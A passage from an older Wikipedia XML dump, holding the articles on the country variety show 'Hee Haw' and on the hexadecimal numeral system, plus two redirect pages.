      <id>41876144</id>
      <timestamp>2006-03-02T08:03:55Z</timestamp>
      <contributor>
        <username>Azknightwolf</username>
        <id>927559</id>
      </contributor>
      <comment>/* Recurring skits and segments */</comment>
      <text xml:space="preserve">'''''Hee Haw''''' was a long-running [[television]] [[variety show]] hosted by [[Buck Owens]] and [[Roy Clark]] and featuring [[country music]] and humor with rural &quot;Kornfield Kounty&quot; as a backdrop.  It was taped at WLAC-TV (now [[WTVF]]) and [[Opryland USA]] in [[Nashville, Tennessee|Nashville]].  The show's name was derived from the sound a [[donkey]] makes when it brays.

The show started on [[CBS]] as a summer [[1969 in television|1969]] replacement for ''[[The Smothers Brothers Comedy Hour]]''.  It was dropped by CBS in [[1971 in television|1971]], along with fellow country shows ''[[The Beverly Hillbillies]]'' and ''[[Green Acres]]''.  It started airing new programming in [[Television syndication|syndication]], and continued in basically the same format for 20 more years (though Owens departed in [[1986 in television|1986]]). 

The show was well known for its beautiful, voluptuous, scantily clad women in stereotypical Southern farmer's daughter outfits and its [[campy]] humor. ''Hee Haw'' was a quintessentially American show; and although its appeal was not only limited to a rural audience, it is virtually unknown outside of the United States.  Despite being one of the most successful syndicated television shows in American history, many urbanites and those living in the suburbs of large cities are and were unfamiliar with the show, while virtually everyone living in rural America was and is familiar with ''Hee Haw''.   

By [[1991 in television|1991]], a continued decline in its audience led to a dramatic change in setting, to a more urban location combined with more pop-oriented music. The new format lasted a single season, during which the show alienated many of its traditional viewers. In its final [[1992 in television|1992]] season, the now renamed '''''Hee Haw Silver''''' featured Clark hosting a mixture of classic clips and new footage.

After the show's syndication run ended, [[rerun]]s aired on [[The Nashville Network]] until [[1997 in television|1997]].


==Cast Members== 

Original cast member [[David &quot;Stringbean&quot; Akeman]] was murdered in 1973.  Two rural-style comedians, already well known in their native [[Canada]], gained their first major U.S. exposure--[[Gordie Tapp]] and [[Don Harron]] (whose character, newscaster Charlie Farquharson, later appeared on ''[[The Red Green Show]]'').  Other cast members over the years included: 
[[Barbi Benton]],
Cathy Baker,
[[Archie Campbell]],
the Hager Twins (Jim and Jon),
[[Gunilla Hutton]] (as Nurse Goodbody),
[[Grandpa Jones]],
[[George Lindsey]] (reprising his &quot;Goober&quot; character from ''[[The Andy Griffith Show]]''), 
[[Minnie Pearl]],
[[Lulu Roman]], 
[[Misty Rowe]], 
[[Junior Samples]], 
Rev. Grady Nutt,
[[John Henry Faulk]], 
[[Gailard Sartain]],
[[Roni Stoneman]],
and the team of Jimmy Riddle and Jackie Phelps,
among many others.

==Recurring skits and segments==

* The old philospher (portrayed by Gordie Tapp) getting hit on the head with a rubber chicken.
* Crossing 2 objects (''Example'': &quot;I crossed an elephant with a gopher.&quot; Everybody in unison: &quot;What'ja get?&quot; &quot;Some awfully big holes in the backyard.&quot;) The one giving the answer got smacked in their bottom by a huge fenceboard, and even the women were victims of the board. 
* Campbell was featured in three regular sketches.  He played a [[barber]], usually sharing comic dialogue with customer Roy Clark;  he was the doctor, who handled various 'ill/injured' cast members with the assistance of the lovely &quot;Nurse Goodbody&quot; (Hutton);  and, he was &quot;Justus O'Peace,&quot; the local judge, whacking away at the various accused parties (as in the legendary &quot;Here Come De Judge&quot; routine of [[Pigmeat Markham]]).
* &quot;Where Oh Where Are You Tonight?&quot;, the nonsense duet with the chorus, &quot;Where, oh where, are you tonight?/Why did you leave me here all alone?/I searched the world over, and thought I'd found true love;/You met another, and--pffft! you were gone!&quot;  The &quot;pffft&quot; would be done as a spitting &quot;[[Bronx cheer]].&quot;
In early seasons, this was performed by Campbell and Tapp, in the vein of folk songs like &quot;[[Oh! Susanna]]&quot; and &quot;[[Old Dan Tucker]].&quot;  In later seasons, Tapp would be replaced by that episode's guest singer, or other surprise celebrities.  The guest/celebrity would stand with their back to the viewer while Campbell sang the verse solo, and then spin around to join him on the chorus.  (Who got spat upon during the &quot;pffft&quot; would change each show.)
* &quot;Hey Grandpa! What's for supper?&quot; (Grandpa Jones is cleaning a window pane with no glass in it and recites a dinner menu in verse). Often, he would describe a delicious, country-style meal (chicken and biscuits smothered in rich gravy, and collard greens, and the audience would reply approvingly, &quot;yum yum!&quot;); although sometimes he would serve a less-than spectacular meal (thawed out [[TV dinner]]s), to which the cast would reply, &quot;yuck!&quot;
* &quot;Stringbean&quot; would read a &quot;letter from Mama&quot; to his friends (similar in style to the routine of American comedian &quot;[[Charley Weaver]]&quot;). When asked about the latest letter, &quot;Stringbean&quot; would reach for it, stating that he carried it right next to &quot;his Heart&quot; (his upper overalls pocket). Not finding it there, he would proceed to quickly check all his other pockets, saying &quot;Heart&quot; on each check until he found the letter.  The friends would chant &quot;Heart&quot; along with him.
* Minnie Pearl's schoolhouse. Minnie would try in vain to gain order in the classroom, while her students were in the mood for one-liners.
* &quot;The Culhanes of Kornfield County (Gordie Tapp, Grandpa Jones, Junior Samples, and Lulu Roman).&quot;  A soap-opera satire, the foursome was seated side by side on a couch, resembling an old-time family portrait.  With help from an off-screen announcer, they would discuss some family crisis while maintaining a dead-pan monotone look and not moving.
* The &quot;Empty Arms Hotel,&quot; in which Roy Clark would pop up from behind the front desk to deal with its clients' complaints.
* &quot;Lulu's (Lulu Roman) Truck Stop,&quot; which featured some tough-to-eat items.
* &quot;Junior's (Junior Samples) Used Car Sales,&quot; in which Samples would try to palm off a major 'clunker' and then hold up a sign to remind viewers that his phone number was &quot;BR 549.&quot;)  (''Hee Haw'' tapes were later sold using the &quot;800&quot; number 1-800-BR54949;  also, the future country music group [[BR5-49]] adopted this as their name.)
* The &quot;Gloom/Despair song (with the chorus &quot;Gloom, despair and agony on me!/Deep dark depression, excessive misery!/If it weren't for bad luck I'd have no luck at all!/Gloom, despair and agony on me!)&quot; Performed by a variable quartet who sat around looking sad, each of the quartet would sing one line of the verse (a new one for each performance).  They would join on the chorus, with each one alternating [[lip-synching]] a mournful howl between each phrase in it.
* &quot;The Cornfield,&quot; a version of the ''[[Laugh-In]]'' &quot;Joke Wall,&quot; with cast members and guest stars 'popping up' to tell jokes and one-liners.
Until his death, &quot;Stringbean&quot; played the field's 'scarecrow,' delivering one-liners before being shouted down by the 'crow' on his shoulder;  after his murder, he was not replaced, and the 'scarecrow' simply was seen in the field as a memorial.
* The &quot;Hee Haw Salutes&quot; feature, in which that night's guest, or other celebrities and cast members, would mention their hometown and its population;  the entire cast would then 'pop up' from the cornfield, shouting &quot;SAA-LUTE!!&quot;
* &quot;Pickin' and Grinnin'&quot; with Owens and Clark (Owens:  &quot;I'm a-Pickin!&quot;  Clark:  &quot;And I'm a-Grinnin'!&quot;), with the duo and the cast 'dueling' by playing guitar and banjo, telling jokes and reciting one-liners.
* Riddle and Phelps, long-time members of [[Roy Acuff]]'s Smoky Mountain Boys, would perform a comic poem, and then break into their &quot;Eeph-Awff&quot; rhythm routine.  Riddle would repeat those two nonsense syllables with a donkey-sound inflection, while Phelps would slap his hand against his leg in a percussion pattern called &quot;Hamboning.&quot;  Occasionally, the duo would break into their routine while joking with another cast member, and then get chased away.
* Various male cast members would be seen sitting around and listening to comic stories by either Baptist pastor/humorist Rev. Grady Nutt, or former American radio commentator [[John Henry Faulk]].  Nutt, who had successful LP comedy album releases on [[Word Records]], had his promising career on ''Hee Haw'' cut short by his death in an airplane crash in November 1982. 
* KORN-AM radio, featuring humorous news reports by &quot;Charlie Farquarson&quot; (Don Harron).
* Grandpa and Minnie's Kitchen (&quot;How-dee!  Welcome to Grandpa and Minnie's Kitchen!&quot;)
* The Hee Haw Gospel Quartet, always the last segment of many of the shows, and featuring Clark, Owens, Grandpa Jones and Kenny Price singing a gospel song. This was one of the few serious segments of the show.  Several of their performances were released on CD's.
* Various female members of the cast surrounding a clothesline singing &quot;We're not ones to go 'round spreadin' rumors/Well, really we're just not the gossipy kind;/No, you'll never hear one of us repeatin' gossip,/So you better be sure and listen close the first time!&quot;, featuring a new verse every episode.
* Gordie Tapp and Roni Stoneman as &quot;The Naggers,&quot; a bickering couple, similar in style to the radio classic ''[[The Bickersons]]''.
* During the American Bicentennial year ([[1976]]), [[CBS]] News did a daily television historical feature called &quot;The Bicentenial Minute.&quot;  ''Hee Haw'''s take on that was Grandpa Jones' &quot;200 And Some Odd Years Ago&quot; sketches, with Grandpa delivering 'facts' such as, &quot;My great-great-great grandmother attended the 'Boston Tea Party.'  She was the first old bag thrown overboard.&quot;

==Musical legacy==
The show's additional legacy is the hundreds of performances of country music, [[Bluegrass music|bluegrass]], [[gospel music]], and other traditional styles, that were featured on it during its run.  In addition to the regular performances by the hosts and cast members, guest artists performing on the show include -- but are hardly limited to --
[[Roy Acuff]], 
[[Johnny Cash]], 
[[Jessi Colter]],
[[Merle Haggard]],
[[Alan Jackson]],
[[Sonny James]], 
[[Waylon Jennings]],
[[George Jones]], 
[[Loretta Lynn]], 
[[Barbara Mandrell]], 
[[Roger Miller]],
[[Willie Nelson]], 
[[Dolly Parton]], 
[[Ray Price (musician)|Ray Price]], 
[[Charley Pride]],
[[Charlie Rich]],
[[Riders in the Sky]], 
[[Kenny Rogers]],
[[Roy Rogers]], 
[[George Strait]],
[[Ernest Tubb]], 
[[Conway Twitty]], 
[[Tammy Wynette]],
[[Hank Williams Jr.]], and
[[Faron Young]], among others.

==External links==
*[http://www.heehaw.com/ Official website]
*[http://www.morethings.com/fan/hee_haw/photo_galleries.htm  Hee Haw Photo Galleries]
*[http://www.tennessean.com/entertainment/news/archives/04/05/51300282.shtml Hee Haw History], from ''[[The Tennessean]]''
*{{imdb title|id=0063908|title=Hee Haw}}
*[http://www.rissystreasures.com/heehaw/ Risa's Hee Haw Tribute Page]

[[Category:CBS network shows]]
[[Category:Variety television series]]
[[Category:1960s TV shows in the United States]]
[[Category:1970s TV shows in the United States]]
[[Category:1980s TV shows in the United States]]
[[Category:1990s TV shows in the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Harmonic accompaniment</title>
    <id>13261</id>
    <revision>
      <id>15910879</id>
      <timestamp>2003-12-23T19:24:19Z</timestamp>
      <contributor>
        <username>Hyacinth</username>
        <id>17171</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Accompaniment]]</text>
    </revision>
  </page>
  <page>
    <title>History Of United States Discussion</title>
    <id>13262</id>
    <revision>
      <id>15910880</id>
      <timestamp>2002-10-12T00:19:58Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
      </contributor>
      <comment>redirect to Talk:History of the United States</comment>
      <text xml:space="preserve">#REDIRECT [[Talk:History of the United States]]</text>
    </revision>
  </page>
  <page>
    <title>Hexadecimal</title>
    <id>13263</id>
    <revision>
      <id>41825770</id>
      <timestamp>2006-03-02T00:10:16Z</timestamp>
      <contributor>
        <username>FrankHamersley</username>
        <id>307013</id>
      </contributor>
      <minor />
      <comment>/* Representing hexadecimal */</comment>
      <text xml:space="preserve">{{Table Numeral Systems}}
In [[mathematics]] and [[computer science]], '''[[Base (mathematics)|base]]-{{num|16}}''', '''hexadecimal''', or simply '''hex''', is a [[numeral system]] with a [[radix]] or base of [[sixteen|16]] usually written using the symbols 0&amp;ndash;9 and A&amp;ndash;F or a&amp;ndash;f.  The current hexadecimal system was first introduced to the computing world in 1963 by [[IBM]].  An earlier version, using the digits 0&amp;ndash;9 and u&amp;ndash;z, was used by the [[Bendix G-15]] computer, introduced in 1956.

For example, the [[decimal]] numeral 79 whose [[binary numeral system|binary]] representation is 01001111 can be written as 4F in hexadecimal (4 = 0100, F = 1111). It was IBM that decided on the prefix of &quot;hexa&quot; rather than the proper Latin prefix of &quot;sexa&quot;.  The word &quot;hexadecimal&quot; is strange in that ''hexa'' is derived from the [[Greek language|Greek]] &amp;#941;&amp;#958;&amp;#953; (hexi) for &quot;six&quot; and ''decimal'' is derived from the [[Latin]] for &quot;ten&quot;. It may have been derived from the Latin root, but Greek ''deka'' is so similar to the Latin ''decem'' that some would not consider this nomenclature inconsistent. An older term was the pure Latin &quot;sexidecimal&quot;, but that was changed because some people thought it too risqué, and it also had an alternative meaning of &quot;[[base 60]]&quot;. However, the word &quot;[[sexagesimal]]&quot; (base 60) retains the prefix.  The earlier Bendix documentation used the term &quot;sexadecimal&quot;.

Several years ago an alternate, unambiguous set of hexadecimal digits was proposed. ''(Cf. [[Hexadecimal time]])''

==Representing hexadecimal==
&lt;div style=&quot;text-align: center; float: right; margin: 0em 0em 1em 1em;&quot;&gt;
{| Border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot;
! Hex !! Bin !! Dec
|-
| 0 || 0000 ||  0
|-
| 1 || 0001 ||  1
|-
| 2 || 0010 ||  2
|-
| 3 || 0011 ||  3
|-
| 4 || 0100 ||  4
|-
| 5 || 0101 ||  5
|-
| 6 || 0110 ||  6
|-
| 7 || 0111 ||  7
|-
| 8 || 1000 ||  8
|-
| 9 || 1001 ||  9
|-
| A || 1010 || 10
|-
| B || 1011 || 11
|-
| C || 1100 || 12
|-
| D || 1101 || 13
|-
| E || 1110 || 14
|-
| F || 1111 || 15
|}
&lt;/div&gt;
Some hexadecimal numbers are indistinguishable from a decimal number (to both humans and computers). Therefore, some convention is usually used to flag them.

In typeset text, the indication is often a subscripted suffix such as 5A3&lt;sub&gt;16&lt;/sub&gt;, 5A3&lt;sub&gt;SIXTEEN&lt;/sub&gt;&lt;!--this seems hugely verbose and i can't say i've ever seen it does anyone here a source? [[User:Plugwash|Plugwash]] 23:13, [[10 July]] [[2005]] (UTC)--&gt;, or 5A3&lt;sub&gt;HEX&lt;/sub&gt;.

In computer programming languages (which are nearly always [[plain text]] without such typographical distinctions as subscript and superscript) a wide variety of ways of marking hexadecimal numbers have appeared. These are also seen even in typeset text especially if that text relates to a programming language.

Some of the more common textual representations:
* [[Ada programming language|Ada]] and [[VHDL]] enclose hexadecimal numerals in based &quot;numeric quotes&quot;, e.g. &quot;16#5A3#&quot;. (Note: Ada accepts this notation for ''all'' bases from 2 through 16 and for both [[integer]] and real types.)
* [[C programming language|C]] and languages with a similar syntax (such as [[C++]], [[C Sharp programming language|C#]] and [[Java programming language|Java)]] prefix hexadecimal numerals with &quot;0x&quot;, e.g. &quot;0x5A3&quot;. The leading &quot;0&quot; is used so that the [[parser]] can simply recognize a number, and the &quot;x&quot; stands for hexadecimal (cf. 0 for [[Octal]]). The &quot;x&quot; in &quot;0x&quot; can be either in upper or lower case but is almost always seen written in lower case.
* *nix shells use an escape character form &quot;\x0FF&quot; in expressions and &quot;0xFF&quot; for constants.
* In [[HTML]], hexadecimal character references also use the x: &amp;amp;#x5a3; should give the same as &amp;amp;#1443; &amp;ndash; with your browser &amp;#x5a3; and &amp;#1443; respectively (Hebrew accent munah). Hexadecimal color references are prefixed with &quot;#&quot;, e.g. &quot;#FFFFFF&quot; (white).
* Some [[Assembly language|assemblers]] indicate hex by an appended &quot;h&quot; (if the numeral starts with a letter, then also with a preceding 0, to indicate that it is a number), e.g., &quot;0A3Ch&quot;, &quot;5A3h&quot;.
* [[Postscript programming language|Postscript]] indicates hex by a prefix &quot;16#&quot;.
* [[Common Lisp]] use the prefixes &quot;#x&quot; and &quot;#16r&quot;.
* [[Pascal programming language|Pascal]], other assemblers ([[AT&amp;T]], [[Motorola]]), and some versions of [[BASIC programming language|BASIC]] use a prefixed &quot;$&quot;, e.g. &quot;$5A3&quot;.
* The [[Smalltalk]] programming language uses the prefix &quot;16r&quot;. Note Smalltalk accepts the format &quot;&lt;radix&gt;r&lt;digits&gt;&quot; where radix is a number base from 2 upwards (i.e. 2r1110 is 10r14 or 16rE), with the practical limitation being within the ASCII character set range 0-9 and A-Z used to represent the digits. Some versions of Smalltalk allow fractional digits following a period character, &quot;.&quot;, enabling hexadecimal (and other bases of) floating point numbers to be represented.
* Some versions of [[BASIC programming language|BASIC]], notably [[Microsoft]]'s variants including [[QBasic]] and [[Visual Basic]]), prefix hexadecimal numerals with &quot;&amp;amp;H&quot;, e.g. &quot;&amp;amp;H5A3&quot;; others such as [[BBC BASIC]] just used &quot;&amp;amp;&quot; (used for [[octal]] in Microsoft's BASIC!).
* Notations such as &lt;code&gt;X'5A3'&lt;/code&gt; are sometimes seen; [[PL/I]] uses such notation.
* [[Donald Knuth]] introduced the use of different fonts to represent radices in his book ''The TeXbook''.  In his notation, hexadecimal numbers are represented in a typewriter type, e.g. &lt;tt&gt;5A3&lt;/tt&gt;

[[Image:Hexidecimal Multiplication Table.png|right|thumb|250px|A hexadecimal [[multiplication table]]]]
There is no single agreed-upon standard, so all the above conventions are in use, sometimes even in the same paper. However, as they are quite unambiguous, little difficulty arises from this.

The most commonly used (or encountered) notations are the ones with a prefix &quot;0x&quot; or a subscript-base 16, for hex numbers. For example, both 0x2BAD and 2BAD&lt;sub&gt;16&lt;/sub&gt; represent the [[decimal]] number 11181 (or 11181&lt;sub&gt;10&lt;/sub&gt;).

The choice of the letters ''A'' through ''F'' to represent the additional digits was not universal in the early history of computers. During the 1950's, some installations favored using the digits 0 through 5 with a [[macron]] to indicate the values 10-15. Users of [[Bendix]] computers used the letters ''U'' through ''Z''.

==Uses==

A common use of hexadecimal numerals is found in [[HTML]] and [[Cascading Style Sheets|CSS]].  They use hexadecimal notation ([[hex triplet]]s) to specify colours on web pages; there is just the # symbol, not a separate symbol for &quot;hexadecimal&quot;. Twenty-four-bit color is represented in the format #RRGGBB, where RR specifies the value of the Red component of the color, GG the Green component and BB the Blue component. For example, a shade of red that is 238,9,63 in decimal is coded as #EE093F.  This syntax is borrowed from the [[X Window System]].

In [[URL]]s, special characters can be coded hexadecimally, with a [[percent]] sign used to introduce each byte; e.g., http://en.wikipedia.org/wiki/Main%20Page

The canonical written form of numeric [[IPv6]] addresses represents each group of 16 bits as a separate hexadecimal number, to ease reading and transcription of the 128-bit addresses.

==Fractions==
As with other numeral systems, the hexadecimal system can be used in forming [[vulgar fraction]]s, although [[Recurring decimal|recurring digits]] are common since 16 has only a single prime factor:

{| Border=0 cellspacing=0 cellpadding=2 width=640
|width= 9%  height=0|
|width= 4%|
|width=10%|
|width= 9%|
|width= 4%|
|width=12%|
|width= 9%|
|width= 4%|
|width=15%|
|width= 9%|
|width= 4%|
|width=11%|
|-
|align=right| 1/ 0x1  ||&lt;center&gt; = || 0x1
|align=right| 1/ 0x5  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;3&lt;/font&gt;
|align=right| 1/ 0x9  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;1C7&lt;/font&gt;
|align=right| 1/ 0xD  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;13B&lt;/font&gt;
|-
|align=right| 1/ 0x2  ||&lt;center&gt; = || 0x0.8
|align=right| 1/ 0x6  ||&lt;center&gt; = || 0x0.2&lt;font style=&quot;text-decoration: overline&quot;&gt;A&lt;/font&gt;
|align=right| 1/ 0xA  ||&lt;center&gt; = || 0x0.1&lt;font style=&quot;text-decoration: overline&quot;&gt;9&lt;/font&gt;
|align=right| 1/ 0xE  ||&lt;center&gt; = || 0x0.1&lt;font style=&quot;text-decoration: overline&quot;&gt;249&lt;/font&gt;
|-
|align=right| 1/ 0x3  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;5&lt;/font&gt;
|align=right| 1/ 0x7  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;249&lt;/font&gt;
|align=right| 1/ 0xB  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;1745D&lt;/font&gt;
|align=right| 1/ 0xF  ||&lt;center&gt; = || 0x0.&lt;font style=&quot;text-decoration: overline&quot;&gt;1&lt;/font&gt;
|-
|align=right| 1/ 0x4  ||&lt;center&gt; = || 0x0.4
|align=right| 1/ 0x8  ||&lt;center&gt; = || 0x0.2
|align=right| 1/ 0xC  ||&lt;center&gt; = || 0x0.1&lt;font style=&quot;text-decoration: overline&quot;&gt;5&lt;/font&gt;
|align=right| 1/ 0x10 ||&lt;center&gt; = || 0x0.1
|}

Because the radix 16 is a square (4&lt;sup&gt;2&lt;/sup&gt;), hexadecimal fractions have an odd period much more often than decimal ones. Recurring decimals occur when the denominator in lowest terms has a [[prime factor]] not found in the radix. In the case of hexadecimal numbers, all fractions with denominators that are not a power of two will result in a recurring decimal.

==Humor==
Hexadecimal is sometimes used in programmer jokes because certain words can be formed using only hexadecimal digits. Some of these words are &quot;dead&quot;, &quot;beef&quot;, &quot;babe&quot;, and with appropriate substitutions &quot;c0ffee&quot;. [http://www.thinkgeek.com/tshirts/frustrations/6596/ This] is an example of such a joke. Since these are quickly recognisable by programmers, debugging setups sometimes initialise memory to them to help programmers see when something has not been initialised.

Another example is the [[magic number (programming)|magic number]] in FAT Mach-O files, which is &quot;&lt;code&gt;CAFEBABE&lt;/code&gt;&quot;.

A [[Knuth reward check]] is one hexadecimal dollar, or $2.56.

[[0xdeadbeef]] is often put into uninitialized memory.

==Mapping to binary==
When working with computers we often need to deal with binary data. It is much easier for humans to handle numbers in hexadecimal than in binary (just think of lots of '0's and '1's) and whilst we are more familiar with the base 10 system, it is much easier to map binary to hexadecimal than to decimal since each hexadecimal digit maps to a whole number of bits (4&lt;sub&gt;10&lt;/sub&gt;).

Consider converting 1111&lt;sub&gt;2&lt;/sub&gt; to base 10. Since each [[Positional_notation|position]] in a binary (base 2) number can only be either a 1 or 0, its value may be easily determined by its position from the right:
*0001&lt;sub&gt;2&lt;/sub&gt; = 1&lt;sub&gt;10&lt;/sub&gt;
*0010&lt;sub&gt;2&lt;/sub&gt; = 2&lt;sub&gt;10&lt;/sub&gt;
*0100&lt;sub&gt;2&lt;/sub&gt; = 4&lt;sub&gt;10&lt;/sub&gt;
*1000&lt;sub&gt;2&lt;/sub&gt; = 8&lt;sub&gt;10&lt;/sub&gt;
Therefore:
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;1111&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; = 8&lt;sub&gt;10&lt;/sub&gt; + 4&lt;sub&gt;10&lt;/sub&gt; + 2&lt;sub&gt;10&lt;/sub&gt; + 1&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt; = 15&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
This is a very simple example which still requires the addition of 4 numbers; whereas, with some practice, 1111&lt;sub&gt;2&lt;/sub&gt; can be mapped directly to F&lt;sub&gt;16&lt;/sub&gt; in one step (see table in [[Hexadecimal#Representing hexadecimal|Representing hexadecimal]]). When the binary number is very much greater, conversion to decimal becomes very much more tedious; however, when mapping to hexadecimal, it is simple to divide the binary number up in blocks of 4 positions and map each block of 4 bits to a single position hexadecimal number. For example a tedious conversion to decimal:
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;01011110101101010010&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; = 262144&lt;sub&gt;10&lt;/sub&gt; + 65536&lt;sub&gt;10&lt;/sub&gt; + 32768&lt;sub&gt;10&lt;/sub&gt; + 16384&lt;sub&gt;10&lt;/sub&gt; + 8192&lt;sub&gt;10&lt;/sub&gt; + 2048&lt;sub&gt;10&lt;/sub&gt; + 512&lt;sub&gt;10&lt;/sub&gt; + 256&lt;sub&gt;10&lt;/sub&gt; + 64&lt;sub&gt;10&lt;/sub&gt; + 16&lt;sub&gt;10&lt;/sub&gt; + 2&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt; = 387922&lt;sub&gt;10&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
Compared to the conversion to hexadecimal:
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;01011110101101010010&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt; = &lt;/td&gt;
&lt;td&gt;0101&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;1110&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;1011&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;0101&lt;sub&gt;&amp;nbsp;&lt;/sub&gt;&lt;/td&gt;
&lt;td&gt;0010&lt;sub&gt;2&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt; = &lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;E&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;B&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;5&lt;/td&gt;
&lt;td align=&quot;center&quot;&gt;2&lt;sub&gt;16&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;nbsp;&lt;/td&gt;
&lt;td&gt; = &lt;/td&gt;
&lt;td colspan=&quot;5&quot;&gt;5EB52&lt;sub&gt;16&lt;/sub&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
Conversion from hexadecimal back to binary is just as direct.

[[Octal]] is also useful as a way for humans to deal with computer data (in blocks of 3 bits instead of 4); however, hexadecimal's big advantage over octal is that exactly 2 digits represent a byte (octet). This means that with hexadecimal, you can easily see from the value of a word what the value of the individual bytes will be; conversely, if you have the values of the bytes, you can easily assemble them to get the value of a word.

==Converting from other bases==
===Division-remainder in source base===
As with all bases there is a simple [[algorithm]] for converting a number to hexadecimal by doing integer division and remainder operations in the source base. Theoretically this is possible from any base but for most humans only decimal and for most computers only binary (which can be converted by far more efficient methods) can be easily handled with this method.

Let d be the decimal number to convert, and the series h&lt;sub&gt;i&lt;/sub&gt;h&lt;sub&gt;i-1&lt;/sub&gt;...h&lt;sub&gt;2&lt;/sub&gt;h&lt;sub&gt;1&lt;/sub&gt; be the hexadecimal digits representing the number.

1. H&lt;sub&gt;1&lt;/sub&gt; := d mod 16&lt;br/&gt;
2. D := (d-h&lt;sub&gt;1&lt;/sub&gt;) / 16&lt;br/&gt;
3. If d==0 (return series h&lt;sub&gt;i&lt;/sub&gt;)&lt;br/&gt;
else go to 1

&quot;16&quot; may be replaced with any other base that may be desired.

The following is a [[JavaScript]] implementation of the above algorithm for converting any number to a hexadecimal in String representation. Its purpose is to illustrate the above algorithm (maybe other uses that may be thought of). To work with data seriously however, it is much more advisable to work with [[bitwise operators]].

&lt;pre&gt;function toHex(d) {
	var r = d % 16;
	if(d-r==0) {return toChar(r);}
	else {return toHex( (d-r)/16 )+toChar(r);}
}

function toChar(n) {
	var alpha = &quot;0123456789ABCDEF&quot;;
	return alpha.charAt(n);
}&lt;/pre&gt;

===Addition and multiplication in hexadecimal===
It is also possible to make the conversion by assigning each place in the source base the hexadecimal representation of its place value and then performing multiplication and addition to get the full hexadecimal number. 

===Conversion via binary===
As computers generally work in binary the normal way for a computer to make such a conversion would be to convert to binary first and then make use of the direct mapping from binary to hexadecimal.

==Hexadecimal in the media==
In ''[[The Simpsons]]'', on the episode [[Treehouse of Horror VI]], where Homer enters the third dimension (''Homer³''), a hexadecimal string (46 72 69 6e 6b 20 52 75 6c 65 73 21) is floating in &quot;3-D land&quot; which, when used as character indices in the [[ASCII]] character set, translates to &quot;Frink rules!&quot; (excluding the quotes but including the exclamation point).

In the TV show [[ReBoot]] there is a character named Hexadecimal

==See also==

*[[Base32]]
*[[Base64]]
*[[Hex editor]]
*[[Hexadecimal time]]
*[[Hexspeak]]
*[[Nibble]] &amp;mdash; one hexadecimal digit can exactly represent one &quot;nibble&quot;
*[[Numeral system]] &amp;mdash; a list of other base systems

==External links==
*[http://www.intuitor.com/hex/ Intuitor Hex Headquarters] - A site dedicated to changing the traditional [[base 10]] ([[decimal]]) standard to hexadecimal.
*[http://www.insidereality.net/site/content/math/base_conversion.php Simple Conversion Methods]
*[http://leetkey.mozdev.org Leet Key], a Firefox extension that supports ASCII/Hex conversions and typing
*[http://acms.synonet.com/bendix/intro/bitsof.pdf Bits of Meaning (pdf)] - Introduction to Computer Arithmetic for Bendix G-15 computer
*[http://www.pcnineoneone.com/howto/hex1.html Hexadecimal basics]
*[http://www.web-colors-explained.com/hex.php Hexadecimal Numbers Guide]

===Calculators===
*[http://www.iboost.com/tools/number.htm Hex/Unsigned Decimal/Binary Converter] (integer only)
*[http://www.statman.info/conversions/hexadecimal.html Hex/Unsigned Decimal Converter]
*[http://www.edepot.com/win95.html Virtual Calc 2000 - Arbitrary Precision Calculator] will do floating-point hexadecimal arithmetic
*[http://www.paulschou.com/tools/xlate/ Online HEX, Binary, Base64, etc... Encoder/Decoder]

[[Category:Computer arithmetic]]
[[Category:Positional numeral systems| 16]]

[[cs:Hexadecimální číslo]]
[[da:Hexadecimale talsystem]]
[[de:Hexadezimalsystem]]
[[el:Δεκαεξαδικό σύστημα αρίθμησης]]
[[es:Sistema hexadecimal]]
[[eo:Deksesuma sistemo]]
[[fr:Système hexadécimal]]
[[gl:Código hexadecimal]]
[[ko:십육진법]]
[[it:Sistema numerico esadecimale]]
[[he:בסיס הקסדצימלי]]
[[hu:Tizenhatos számrendszer]]
[[nl:Hexadecimaal]]
[[ja:十六進記数法]]
[[no:Sekstentallsystemet]]
[[nn:Sekstentalsystemet]]
[[pl:Szesnastkowy system liczbowy]]
[[pt:Sistema hexadecimal]]
[[ru:Шестнадцатеричная система счисления]]
[[sk:Šestnástková sústava]]
